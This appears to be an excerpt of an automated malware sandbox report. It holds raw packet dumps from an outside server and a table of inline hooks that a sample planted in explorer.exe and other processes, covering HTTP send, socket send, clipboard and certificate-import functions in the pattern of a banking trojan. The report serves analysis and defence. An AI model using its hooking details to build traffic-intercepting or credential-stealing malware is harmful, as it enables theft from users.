Data Ascii: BeKX+(t5j?jF>P:5v1~T"OH1{qdfp+6R-a*w[NiR1FeLNjh+ZEN*3)(6NX?U\hqZeZxmV^3F`.h>g'Z@gW7S.1|j,@aC6q
399
Aug 8, 2014 11:26:08.477287054 MESZ801032213.186.33.87192.168.1.13Data Raw: 54 ac 4a 2d 6d 11 b9 9c 09 ed 33 9e 32 5a db d2 e1 d2 ea f7 3d c1 fc 9a bb b6 10 00 bd 39 53 2b 82 ff 43 15 31 b5 b0 6b ea cb 6c f5 42 d5 a0 be 21 f7 ef 55 3a 38 3c 48 2e 3c a8 d2 ab 21 f7 82 80 0d 02 a9 49 b4 87 e4 28 aa 71 6f 21 a6 c7 72 92 29
Data Ascii: TJ-m32Z=9S+C1klB!U:8<H.<!I(qo!r);'Jcj+@'9yq0Vo9/Qhclkr0zWS,gh><LWm8]`<ef>m]nD@NeSkGNI"?>zS|
401
Aug 8, 2014 11:26:08.477293015 MESZ801032213.186.33.87192.168.1.13Data Raw: 11 f6 a4 48 f4 b4 47 6c b4 ea 4d 96 1a 1f 97 92 ff 08 ad ed 16 71 eb 76 5b 98 8f 2c 93 b9 56 54 98 9c 24 51 58 1b 0c 49 95 c1 b3 e9 4f 07 c9 1c fe 19 a1 d8 69 81 e1 b0 03 ea 24 b3 f8 43 d7 77 61 72 84 40 38 1a 3f 70 90 0a c7 4e 14 af 20 eb 1d 64
Data Ascii: HGlMqv[,VT$QXIOi$Cwar@8?pN d=kt#Ug\WkPYvBbQ$-*5uj?UCkY49z63NxY6 J4ZW3JN1QuJ46327 b7VdRD18 b4K
402
Aug 8, 2014 11:26:08.477298021 MESZ801032213.186.33.87192.168.1.13Data Raw: 4c 78 39 1d cd 0a 0a 80 70 c0 d0 60 54 0a 0a 8d 0a 0a 0a 0a 0e bd 0a 0a 3a 0a 52 0f 85 d0 0a 0a 0a f4 0a d0 20 0a 73 0c 3a a7 2e 7a 8d 0a 0a 8a 1c 1f 0a 4f 90 3e 3e 0a 23 0a e3 d5 0a 40 0a 0a 44 0a 32 09 a5 d8 03 69 0a 73 dd 44 fa 8c 93 0a 0a 0a
Data Ascii: Lx9p`T:R s:.zO>>#@D2isDCh-C[\h!2"!OK0v@45u8"<0[XPg?7*}Z$u@
404
Aug 8, 2014 11:26:08.477303028 MESZ801032213.186.33.87192.168.1.13Data Raw: e3 0a 0a 0a 0a 0a 0a 81 0a 08 37 62 72 0a 9c a9 0a c7 63 0a 1a c4 44 a1 0a 0d 0a 05 ae 0a 95 0a 0a 0a 0a 6f c6 6e ba 0a f2 26 05 54 0a 0a 0a d3 0a 6e eb 75 0a 0a 73 0a 0a ab 02 0a 7f f7 0a 9f 0a 0a 0a 0f e2 0a a1 85 de 88 28 0c 0a 0b 0a 0a 0a 0a
Data Ascii: 7brcDon&Tnus(<C"fVy"+CGs!|G58mdWA_G(r]@U`>/E3(8H+M$<
405
Aug 8, 2014 11:26:08.477305889 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 29 95 fd 09 0a b1 ac 24 8e 06 13 0b d0 0a 75 62 22 45 8e 0a 0a 0a 0a 80 0a 52 0a 0a f5 30 66 36 14 6a 7c 15 0a 0a df a7 e0 48 54 08 46 77 0a 0a 0a 0a d6 65 0a 59 0a 63 8b 0a bc 41 0a 81 0a f9 0a 7d 0a 0a 01 03 0a 59 34 0a 28 0a 5b 0a c0 0a 55
Data Ascii: )$ub"ER0f6j|HTFweYcA}Y4([U)OUv>f?@[zwTNv6/`9aM`4h<n6NvP!M/bgyRw%E
406
Aug 8, 2014 11:26:08.477452040 MESZ801032213.186.33.87192.168.1.13Data Raw: d4 cb 0d 52 3c 33 0a 0a 89 0a 80 23 16 9e 0a 86 9c 0a c2 90 0a fe c9 8c f1 de 0a c2 62 37 0a 35 c0 28 f1 0a 92 ed 62 9d 0a 0a 0a 1a 10 0a 0a e4 0a 32 b7 0a 58 0a 02 8a 84 0a 37 03 35 b2 0a 09 0a 0a 0a ef 9b 13 0a b8 0a aa a7 e7 0a 86 d9 0a 0a 0a
Data Ascii: R<3#b75(b2X75qnc!C22h>cAR-ei?vS@DHv(H:Dmh^=&Nmi@gIauB&rPzl
408
Aug 8, 2014 11:26:08.477458000 MESZ801032213.186.33.87192.168.1.13Data Raw: 8b c0 d9 0a 7d 0a 89 6a e8 0a 0a b4 0a 0d 0a 46 0a 83 03 0a e7 0a 0a 92 0a 0a 7f 08 b0 0a 3e e6 62 49 82 38 0a 0a 0a 4b 39 0a b7 00 d0 78 0a 36 0a 0a 85 e9 40 46 db 0a 1c 7f 3e ff 2c 0a 61 0a e7 0a 25 0a 3b 0a b0 7c e9 0a d9 01 0a d2 0a d2 0a 0a
Data Ascii: }jF>bI8K9x6@F>,a%;|TYB)$J5Cg97QY$=CDQp5o;1 U
410
Aug 8, 2014 11:26:08.477461100 MESZ801032213.186.33.87192.168.1.13Data Raw: 5c 7e 0a 0a 0a 0a 4a 88 6c b8 8f 53 39 0a 0a 34 0a b3 f1 66 11 18 e6 0a 8f 2c 12 0a 84 d9 3b 3a f8 01 0a 0a ee 0a 98 0a 0a 0a 0a a2 b8 0a 0a 1c 0a 0e 0a 0a 09 0a c3 0a 0a f6 cd 0a 09 7e 0a 93 0a 48 4e 0a 4b 0a c7 e7 80 3e 00 0a ad 0a 0a e1 0a 0f
Data Ascii: \~JlS94f,;:~HNK>uJQ3pipu0z$|!/9?@iKB[-0 <-}.,q;'!co
411
Aug 8, 2014 11:26:08.477509022 MESZ801032213.186.33.87192.168.1.13Data Raw: af 0a 5c 0a 93 0a 0a 33 0a 0a 0a df db 0a 0a af 0a 48 ac 0a 5f 0a 0a e0 b0 77 0f f8 f6 a2 bc 0a f3 0a ac 07 0a 0a cb 0a a9 0a c0 f3 ae 0a 64 88 0a 0a 67 87 30 aa 18 26 0a 0a 0a 0a 0a 0a 4a 39 cc 69 0a 26 0a 12 90 0a e1 b6 8b d8 0a 44 0a 5a 0a 37
Data Ascii: \3H_wdg0&J9i&DZ7B>|&~=+H&g&hu@Jq8nljnj/:A&FG8@a?0L"~G(
412
Aug 8, 2014 11:26:08.477757931 MESZ801032213.186.33.87192.168.1.13Data Raw: 84 d6 fc 0a e1 0a 6e 0a 0a 0a d1 0a 17 d1 96 0a a0 64 0a 70 0a 0a 0a 0a ab 03 81 4e 26 20 2e 61 c0 0a 0a 44 d2 0a 8e 4b af 0a 0a 0a 0a 8d 0a 9b 0a 2b 0a ef 0a 54 0a 0a 34 00 0a 8c a9 1a 38 a3 35 0a 14 0a 0a 0a 0a 0a 17 1d 2a 0a be 0a 0a 29 58 91
Data Ascii: ndpN& .aDK+T485*)XyZ(HY!o!@<H%3-"\AQAG]H !4D$FW.5zo~9Z'
413
Aug 8, 2014 11:26:08.477763891 MESZ801032213.186.33.87192.168.1.13Data Raw: 2f 3b 00 0a 63 fc 95 e5 9a 70 30 0a 0a 6d 0a 5a 2a 0a 26 0a 62 39 0a 56 0a 0c 0a 0a db 83 21 c4 48 0a a1 6a 0a 0a 0a 90 19 91 75 e6 0a f8 0a 0a 7c 0a 84 c3 0a 92 0a a1 0a 0a 2e af b3 48 0a df 0f 0a 85 0a 45 0a 9c 93 0a 19 2b 10 0a df 0a 09 0a 3b
Data Ascii: /;cp0mZ*&b9V!Hju|.HE+;r$Pg!;`{#^ KlCYLWN.I"7}|+T{uO-]"*]D`t Yt+\[
415
Aug 8, 2014 11:26:08.477768898 MESZ801032213.186.33.87192.168.1.13Data Raw: e1 0a 20 0a 75 d1 0a 0a d8 50 6a c1 18 01 53 85 0a 04 0a 11 c7 0a 24 81 0a ad a2 55 0a b9 0a 0a 0a 0a f3 0a f3 0a 48 9f 0a 0a 0a 0a c9 0a 0a d9 a9 b8 1a 0a 9f 0a cf f3 66 02 f1 a2 1d 0a 79 2a 0a 0a a8 0a 1e 0a 0a ef a1 54 0a 80 0a 0a d2 0a 92 3f
Data Ascii: uPjS$UHfy*T?R?lBKBz.]$wd\`EX2>>I8p_t$QwIs
416
Aug 8, 2014 11:26:08.477773905 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a 20 0a 4c e5 0a 0a 0a 0a 83 48 0a 49 e0 0a 13 0a 45 ab 74 b2 0a 0a 0a 0a 6d 0a 89 82 2b 0a 0a 0a f6 0a f9 0a 3c dd e4 88 0a 0a 0a 0a 0a d0 0a cd 0a 7c f6 79 0a 0a 84 3c 0a f8 31 c4 a8 0a 49 0a 44 0a 7e fc 0a 0a 0a 0a 25 0a 0a 0a 0a 57
Data Ascii: LHIEtm+<|y<1ID~%W]+oq8A;pAzB V/oJ=N$!#>I >aXIhTS$
418
Aug 8, 2014 11:26:08.477777004 MESZ801032213.186.33.87192.168.1.13Data Raw: 1d 17 0a d9 c2 e8 f3 02 28 d8 ca 56 0a 0a 84 00 0a 0a 0a 0a fa 0a 76 0b 0a ab 0a 1e 0a 50 0a c0 0a 2b 0a 0a 25 0a 1f f4 0a 7a 0a 0a 0d 68 22 0a 0a c4 5a 0a 7c 37 0a c6 7b d7 0a 0a be 0a 0a 7a 0a 1b 0a 18 9a 28 a8 84 0a 6e 1a 04 84 0a 0a 0a 0a 0a
Data Ascii: (VvP+%zh"Z|7{z(nl00X`9BRd `T[;C+;9zHW8((\s0<P@>/v7A/
419
Aug 8, 2014 11:26:08.477946043 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a c2 0a 0a e0 0a 69 0b 0a 0d 0a 27 6d 56 38 ab 0a 26 0a 06 0a 44 0a 6b 08 0a 0a 0a 01 26 0a de 57 56 0a f9 0a 0a 63 f4 ce 35 96 56 98 0a 0a 0a 0a 0a 13 0a b0 12 14 0a f0 0a 0a 95 0a 31 16 0a 1d 0a 31 0a cc 0a 0d 0a 0a 0a 0a 45 23 0a db 0a 0a 0a
Data Ascii: i'mV8&Dk&WVc5V11E#8I][@`(,MHx,p0BDt|Ifv@/P<tr4%]T?48dDL
420
Aug 8, 2014 11:26:08.478277922 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a a4 b1 0c 81 bc 3d 5b 0a 0a 0a 0a 30 1e 4a dd 0a 10 0a 51 e1 0a af 1c 41 0a 59 0a dc 0a 0a 0a 4a e8 06 0a d6 67 d1 0a 0a 07 7e 8f 7c 0a 0a f4 0a be 4d 0a cf 03 94 68 0a 0a cb 8f 0a 0a 0a 1a 0a 93 d1 d5 0a 0a 0a 0a ea e9 13 a5 18 8e 37
Data Ascii: =[0JQAYJg~|Mh7?p7&*$B_f>H4XMY(F.H|K0p~$rHq(G+^Oh:g`V
422
Aug 8, 2014 11:26:08.478291988 MESZ801032213.186.33.87192.168.1.13Data Raw: c3 e6 5c 4d a7 84 0a 40 da 0a 9f 0a 61 60 02 93 0a 0a 0a 40 0a d3 98 a0 7e e9 40 0a b3 0a e5 70 98 00 0a 0a 0a a7 0a eb 6b 0a 1b 15 fd 8f a2 0a b1 0a cc 0a bb 25 91 b7 0a 0a 0a 0a e9 c5 fc 7e 0a 8c 7b af 70 0a 98 98 e5 d2 44 af 13 c9 32 f1 0a 89
Data Ascii: \M@a`@~@pk%~{pD2.1C @%aJ91oxyZIu "&UA?c^P'8yYwR[0N?p
423
Aug 8, 2014 11:26:08.478305101 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a f1 0a 00 1c 0a 30 0a bc f6 0a 7b 0a 0a d0 0a 0a ce 1d 19 18 0a 96 0a a5 0a b8 69 5f d9 02 c9 de 12 5a 1c 17 42 ad d4 0a e7 99 54 c4 0a 83 0a fa 0a 4e 18 68 07 3b 10 0a 0a 0a 0a 0a 46 40 65 a1 0a 2e 8a 08 00 0a b8 0a 0f 5e 0a 2a 0a 0a
Data Ascii: 0{i_ZBTNh;F@e.^*,RZ s+HH\~=zMd`wph~$eIwdODU{#~!tHP>/+}FZ
425
Aug 8, 2014 11:26:08.478312016 MESZ801032213.186.33.87192.168.1.13Data Raw: 30 8f 81 0a 0a e0 2d d9 d6 0a ac 84 17 55 13 b4 0a 20 0a b0 0a ab b2 b8 51 63 c3 0a 0a 88 3c 0a 0c 8f 0a 0a a0 0a 74 0a 48 29 0a 50 0a 35 ff 0a 0a b5 0a 0a 6b 0a 0a 24 4e f3 0a 0a 6f 0a 27 66 0a 1c 0a 72 bc 04 42 ff 41 77 0a e1 e4 0a 4b 3c 0e 0a
Data Ascii: 0-U Qc<tH)P5k$No'frBAwK<#.";(&EMUX4yx#CgJ8(AWox]Y*z]EFF
426
Aug 8, 2014 11:26:08.478532076 MESZ801032213.186.33.87192.168.1.13Data Raw: 82 19 0f 97 a1 6d de 77 0a ea 82 fc 1d 0a 0a 0a 0a 59 0a ff 0a 0a 0a 0a 49 de cf 0a 0c 0a 2f 0a 4e 0a e4 17 0a 01 0a 5a 2d 0a 08 0a 3d 0a 4b 51 0a 0a 0a 2d 0a 7a 0a a9 0a d7 58 0a 0a 0a 0a b0 57 8a 0a 9f 4c 26 0a bd 8a 33 a1 c8 0a 18 36 e0 6f 0a
Data Ascii: mwYI/NZ-=KQ-zXWL&36oOzv81$j"Z)S.0(]_9ZaD@\56) X?"|)8n"`p
427
Aug 8, 2014 11:26:08.478754044 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a f1 39 8f 0a 30 0a 0a 0a 0a 0a 0a e9 0a 0a 4b 5a 35 98 0a ff 0a ef c1 0a 9d 7f 67 0a 54 0a f3 0a 0a 04 e8 b1 0a a0 0a 7b 0a 31 31 15 0a a5 0a 1d 0a 6a 0a a2 4a 0a f2 78 0a 81 0a 0a 9b cb 9d 0a 12 0a 48 0a 0a 0a 0a 0a 0a 99 ad e9 78 21 84 0a 24
Data Ascii: 90KZ5gT{11jJxHx!$$QHNN#\L_GBpzX" _TnsT\N?}9AH%I8P=* A<;\
429
Aug 8, 2014 11:26:08.478766918 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 05 79 18 0a 17 d0 0a 76 0a dc a2 64 0a d2 09 0f 24 0a cc ed c0 6a 0a 84 68 44 54 0a 3d 0a f7 df b1 f1 50 5f bf 19 c5 0a c5 c1 69 59 f8 a4 ff 0a 12 0a b6 40 0a 56 16 0a ed 0a 56 0a 0a a0 0a b3 02 0a 0a 0a 0a 07 0a a1 0a 2f 0a 98 0a 0a 21 0a 7e
Data Ascii: yvd$jhDT=P_iY@VV/!~_V3k"z:amF&&sv8hPBLxR3B`XH%{*
430
Aug 8, 2014 11:26:08.478779078 MESZ801032213.186.33.87192.168.1.13Data Raw: 74 80 43 78 52 0a 0a 0a 0a 0a c0 0a 62 84 95 32 aa 5c 25 e9 05 0a 0a ea 80 d9 e0 0a 0a 24 36 24 56 10 35 0a 41 0a 25 0a 38 0a 97 b4 0a 12 0a 87 a6 0a ff 0a 0a 0a de 0a f9 0a 17 a3 0a 0a eb 92 0a cb 86 9d 0a 80 0a 0a 0a 0a e2 e8 61 f4 ca 0a 0a 0a
Data Ascii: tCxRb2\%$6$V5A%8a\J1ZZn7 9x:Y%:QQctG-a3Jk_A.7Y*.0Xj
432
Aug 8, 2014 11:26:08.478879929 MESZ801032213.186.33.87192.168.1.13Data Raw: b3 50 0a ed 3e 4b 08 0a c5 0a 31 09 b0 00 0a 0a 2d a2 0a 0a 0a 29 8f 0a 5b 0a 3e 2e 0a d9 0a 13 0a 2c 1a 05 0a 53 d1 ba 65 a6 0a 05 0f f5 0a 0a 0a 23 70 9e d7 0a 0a b4 bd 0a fa 00 9c 08 41 0a 1e 0c 0a aa 29 be 0a 7a 0a 5b 11 3c 0a 0a 0a e6 0a 35
Data Ascii: P>K1-)[>.,Se#pA)z[<5`*>s&)g`?,D0_e M@Fclu?$@5w*;gytbDVWkYs]iP
432
Aug 8, 2014 11:26:08.479317904 MESZ801032213.186.33.87192.168.1.13Data Raw: c5 93 e9 db 87 0a ac 0a 0a e0 97 0a 0a 0a 8c 07 8a c2 0a 74 70 e0 0a 06 0a 86 16 ca 57 04 1b 0a 3d ca 75 66 0a d0 40 0a 0a 88 ed 0a 03 99 0a 0a 0a 0a 0a 0a c2 a4 3b 0c 75 0a a4 76 0f 0a e1 0a 6f 0a 0a ca ff 51 1b 13 5b 6a 59 eb 5b 0a 0a c3 0a 5f
Data Ascii: tpW=uf@;uvoQ[jY[_4,j1N`tyJkI+$p'X BZ)_{ )QMM4O%fc1
434
Aug 8, 2014 11:26:08.479331017 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a e3 0a 0a 42 10 f8 0a 0a 5d 4c 4e 31 88 0a 7e 0a 0a 0a 0a 0a 27 0a 7d 2e 0a e1 3a 23 a2 0a 87 0a 12 0a 0a 49 f0 a6 4e 0a 0a 0a 3f 46 55 a9 08 0a dd 0a 9f 37 d2 36 74 0a 0a 38 40 0a 93 0a 87 06 0a e9 0a 6e c3 0a 0a 8f 8f 0a 0a a7 16 0a 0a 0a 0a
Data Ascii: B]LN1~'}.:#IN?FU76t8@nG0sqhc2=\S 7^3d qfDts<Q5?$;-%LVLv<Cp
436
Aug 8, 2014 11:26:08.479341984 MESZ801032213.186.33.87192.168.1.13Data Raw: 74 80 d7 0b 88 ec 0a 0a d2 0a 0a 0a 45 0a 0a c5 0a cc 0a 5a 94 fc a4 84 e9 f4 22 29 2e 41 c4 0a 3d 43 93 8c f0 15 5f 0a d7 d5 14 cf e3 0a 0a 0a 0a 0a 02 9b c9 dd 13 dd 0a 0a 6f 2b e4 0a 9d 0a 0a a9 0a 43 0d ec be 42 19 0c 0a 0a 0a 0a 0a 70 0a d3
Data Ascii: tEZ").A=C_o+CBp&8CVBf2OX^wVwN<X,j>|a1*X|}
437
Aug 8, 2014 11:26:08.479351044 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a b4 e5 0a 56 31 a0 2f 0a 0a 0a 22 8b 0a 0a 4e 0a ed c5 fc 68 32 a6 0a 0a 0a 61 0a 40 17 ef 54 0a 0a 95 81 05 96 0a 23 0a 4c 48 0a 1d 27 0a 0a df 0a 15 16 95 1e 1c 90 0a d5 0a 0a 0a 0a 9a 0a 10 96 4f 0a 0a 82 0a 06 f7 0a c1 0a 38 c6 0a 43 0a 5a
Data Ascii: V1/"Nh2a@T#LH'O8CZXGy@30DVd|gqO@!b`)Du8e2B;\`v4h'0M:\PwHPpb
438
Aug 8, 2014 11:26:08.479561090 MESZ801032213.186.33.87192.168.1.13Data Raw: c4 0a 0a bd 0a 85 c6 ce 8d 0a b4 30 64 0a 0a 0a 0a 0a 0a a1 91 48 4d 04 0a af 0a 0a 85 08 28 0a 0a 30 35 20 bc 21 d8 41 75 0a 0a bf 1e 0c 49 0a 0a 96 0a 0a 0a 0a 0a e7 0a 0a d8 0a ac 0a 9f 28 0a 12 ec 0a 28 2a 7f 94 0a e1 0a 57 2f 0a 3a 7c 8e 49
Data Ascii: 0dHM(05 !AuI((*W/:|ICqWx$"EWCe5SzO !20c76\2LDdW}Qh/+Wx8H{
440
Aug 8, 2014 11:26:08.479573011 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a fc 1d 0a 80 b6 0a 0a 44 34 d7 76 08 0a 0a 0a 0a ff 8d 0a 0a 0a 83 0a 0a 6f cc 0a 08 0a 0a 0a 41 63 75 0a 21 69 0a 49 0a ab fc bf 60 13 0a 83 0a 6b a7 ef 01 bf 2e 0a 0a 0a 0a 0a fc e9 85 cb 31 48 0a 2b 0a 32 0a 0a 7c 0a 88 0a 0a 7c c9 c3 0a 0a
Data Ascii: D4voAcu!iI`k.1H+2||y"YGU9cQhPju[">ZKdAB!BZQ6+Rez=i(PdMp
441
Aug 8, 2014 11:26:08.479644060 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a b2 0a 5f d7 0a 0a 62 21 a0 1f 75 0a 16 16 0a 0a 0a a5 69 a0 64
Data Ascii: _b!uid
441
Aug 8, 2014 11:26:08.479784966 MESZ801032213.186.33.87192.168.1.13Data Raw: 93 da 0a 0a 0a 0a 0a b7 0a ef 0a c8 0a 3b aa 0a d7 0a e4 03 0a 0a c9 ff 78 32 5b 0a c2 0a 0a 0a 0a 6e 0a d7 0a 0a 2d b3 32 05 90 34 ac 0a 7c 0a 0a 07 0a 26 0a ec 61 3d 30 0a 0a 50 0a 51 18 40 f0 eb 0a 0a 0a 0a 0a d5 0a a8 43 0a 0a 0a 0a b4 0a 74
Data Ascii: ;x2[n-24|&a=0PQ@Ct _!=|9BBa",@D%6>;A]{$;]Q?$a9'ug,`xTC1u2dC`8
442

Hooks - Code Manipulation Behavior

User Modules

Hook Summary

Function NameHook TypeActive in Processes
GetUpdateRectINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
CallWindowProcAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
CallWindowProcWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
EndPaintINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetUpdateRgnINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetDCExINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetCaptureINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefWindowProcWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetMessageAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetMessageWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefDlgProcAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetDCINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefDlgProcWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefWindowProcAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetClipboardDataINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
OpenInputDesktopINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
PeekMessageAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
PeekMessageWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
RegisterClassWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
RegisterClassAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetWindowDCINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
ReleaseDCINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
SetCaptureINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefMDIChildProcAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefMDIChildProcWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefFrameProcAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
DefFrameProcWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
RegisterClassExWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
TranslateMessageINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
BeginPaintINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
RegisterClassExAINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetCursorPosINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetMessagePosINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
SwitchDesktopINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
SetCursorPosINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
ReleaseCaptureINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
GetFileAttributesExWINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
ZwCreateThreadINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
NtCreateThreadINLINEexplorer.exe, reader_sl.exe, ctfmon.exe
InternetReadFileINLINEexplorer.exe
HttpSendRequestAINLINEexplorer.exe
HttpSendRequestWINLINEexplorer.exe
InternetQueryDataAvailableINLINEexplorer.exe
InternetReadFileExAINLINEexplorer.exe
HttpSendRequestExAINLINEexplorer.exe
HttpQueryInfoAINLINEexplorer.exe
HttpSendRequestExWINLINEexplorer.exe
InternetCloseHandleINLINEexplorer.exe
closesocketINLINEexplorer.exe
sendINLINEexplorer.exe
WSASendINLINEexplorer.exe
PFXImportCertStoreINLINEexplorer.exe
ZwCloseINLINEwscntfy.exe
NtCloseINLINEwscntfy.exe

Processes

Process: explorer.exe, Module: USER32.dll
Function NameHook TypeNew Data
GetUpdateRectINLINE0xE9 0x90 0x0A 0xAA 0xA0 0x0A
CallWindowProcAINLINE0xE9 0x9D 0xDA 0xA1 0x19 0x9A
CallWindowProcWINLINE0xE9 0x9F 0xF0 0x02 0x22 0x2A
EndPaintINLINE0xE9 0x97 0x7D 0xDB 0xB7 0x7A
GetUpdateRgnINLINE0xE9 0x97 0x71 0x15 0x53 0x3A
GetDCExINLINE0xE9 0x92 0x25 0x58 0x82 0x2A
GetCaptureINLINE0xE9 0x94 0x41 0x13 0x3C 0xCA
DefWindowProcWINLINE0xE9 0x9B 0xB8 0x83 0x33 0x3A
GetMessageAINLINE0xE9 0x9B 0xB7 0x75 0x5A 0xAA
GetMessageWINLINE0xE9 0x9F 0xF4 0x43 0x3F 0xFA
DefDlgProcAINLINE0xE9 0x93 0x33 0x3D 0xDC 0xCA
GetDCINLINE0xE9 0x94 0x4E 0xEC 0xC1 0x1A
DefDlgProcWINLINE0xE9 0x92 0x2A 0xA8 0x84 0x4A
DefWindowProcAINLINE0xE9 0x9A 0xA0 0x0F 0xFF 0xFA
GetClipboardDataINLINE0xE9 0x92 0x23 0x37 0x79 0x9A
OpenInputDesktopINLINE0xE9 0x9C 0xCA 0xAD 0xD3 0x3A
PeekMessageAINLINE0xE9 0x9F 0xF5 0x52 0x2E 0xEA
PeekMessageWINLINE0xE9 0x96 0x6F 0xF3 0x3F 0xFA
RegisterClassWINLINE0xE9 0x94 0x42 0x22 0x20 0x0A
RegisterClassAINLINE0xE9 0x9C 0xCF 0xFD 0xD9 0x9A
GetWindowDCINLINE0xE9 0x93 0x33 0x3B 0xB8 0x8A
ReleaseDCINLINE0xE9 0x9F 0xF6 0x6C 0xC1 0x1A
SetCaptureINLINE0xE9 0x91 0x13 0x30 0x0D 0xDA
DefMDIChildProcAINLINE0xE9 0x91 0x14 0x4C 0xC9 0x9A
DefMDIChildProcWINLINE0xE9 0x93 0x3B 0xBB 0xB8 0x8A
DefFrameProcAINLINE0xE9 0x9D 0xD4 0x4C 0xC8 0x8A
DefFrameProcWINLINE0xE9 0x9B 0xBD 0xDB 0xB9 0x9A
RegisterClassExWINLINE0xE9 0x9F 0xFF 0xF1 0x14 0x4A
TranslateMessageINLINE0xE9 0x97 0x7A 0xAF 0xF9 0x9A
BeginPaintINLINE0xE9 0x92 0x24 0x4B 0xB7 0x7A
RegisterClassExAINLINE0xE9 0x99 0x9A 0xA4 0x48 0x8A
GetCursorPosINLINE0xE9 0x99 0x9F 0xF3 0x38 0x8A
GetMessagePosINLINE0xE9 0x94 0x4F 0xF3 0x36 0x6A
SwitchDesktopINLINE0xE9 0x94 0x4C 0xCC 0xC2 0x2A
SetCursorPosINLINE0xE9 0x98 0x81 0x16 0x6E 0xEA
ReleaseCaptureINLINE0xE9 0x95 0x51 0x10 0x0D 0xDA
Process: explorer.exe, Module: kernel32.dll
Function NameHook TypeNew Data
GetFileAttributesExWINLINE0xE9 0x97 0x71 0x15 0x57 0x76
Process: explorer.exe, Module: ntdll.dll
Function NameHook TypeNew Data
ZwCreateThreadINLINE0xE9 0x9C 0xC7 0x79 0x94 0x45
NtCreateThreadINLINE0xE9 0x9C 0xC7 0x79 0x94 0x45
Process: explorer.exe, Module: WININET.dll
Function NameHook TypeNew Data
InternetReadFileINLINE0xE9 0x97 0x78 0x8F 0xFE 0xEC
HttpSendRequestAINLINE0xE9 0x90 0x0C 0xC1 0x1F 0xFC
HttpSendRequestWINLINE0xE9 0x99 0x9D 0xD5 0x50 0x0C
InternetQueryDataAvailableINLINE0xE9 0x9F 0xF4 0x4F 0xF7 0x7C
InternetReadFileExAINLINE0xE9 0x9A 0xA1 0x1F 0xF0 0x0C
HttpSendRequestExAINLINE0xE9 0x9D 0xDA 0xA5 0x50 0x0C
HttpQueryInfoAINLINE0xE9 0x95 0x55 0x50 0x08 0x8C
HttpSendRequestExWINLINE0xE9 0x94 0x40 0x09 0x96 0x6C
InternetCloseHandleINLINE0xE9 0x9A 0xA9 0x93 0x33 0x3C
Process: explorer.exe, Module: WS2_32.dll
Function NameHook TypeNew Data
closesocketINLINE0xE9 0x93 0x37 0x7C 0xCB 0xB3
sendINLINE0xE9 0x97 0x73 0x3B 0xBD 0xD3
WSASendINLINE0xE9 0x9C 0xC1 0x1A 0xA0 0x03
Process: explorer.exe, Module: CRYPT32.dll
Function NameHook TypeNew Data
PFXImportCertStoreINLINE0xE9 0x99 0x98 0x80 0x0C 0xC3
Process: reader_sl.exe, Module: kernel32.dll
Function NameHook TypeNew Data
GetFileAttributesExWINLINE0xE9 0x97 0x71 0x15 0x57 0x72
Process: reader_sl.exe, Module: USER32.dll
Function NameHook TypeNew Data
GetUpdateRectINLINE0xE9 0x90 0x0A 0xAA 0xA0 0x05
CallWindowProcAINLINE0xE9 0x9D 0xDA 0xA1 0x19 0x95
CallWindowProcWINLINE0xE9 0x9F 0xF0 0x02 0x22 0x25
EndPaintINLINE0xE9 0x97 0x7D 0xDB 0xB7 0x75
GetUpdateRgnINLINE0xE9 0x97 0x71 0x15 0x53 0x35
GetDCExINLINE0xE9 0x92 0x25 0x58 0x82 0x25
GetCaptureINLINE0xE9 0x94 0x41 0x13 0x3C 0xC6
DefWindowProcWINLINE0xE9 0x9B 0xB8 0x83 0x33 0x35
GetMessageAINLINE0xE9 0x9B 0xB7 0x75 0x5A 0xA5
GetMessageWINLINE0xE9 0x9F 0xF4 0x43 0x3F 0xF6
DefDlgProcAINLINE0xE9 0x93 0x33 0x3D 0xDC 0xC5
GetDCINLINE0xE9 0x94 0x4E 0xEC 0xC1 0x15
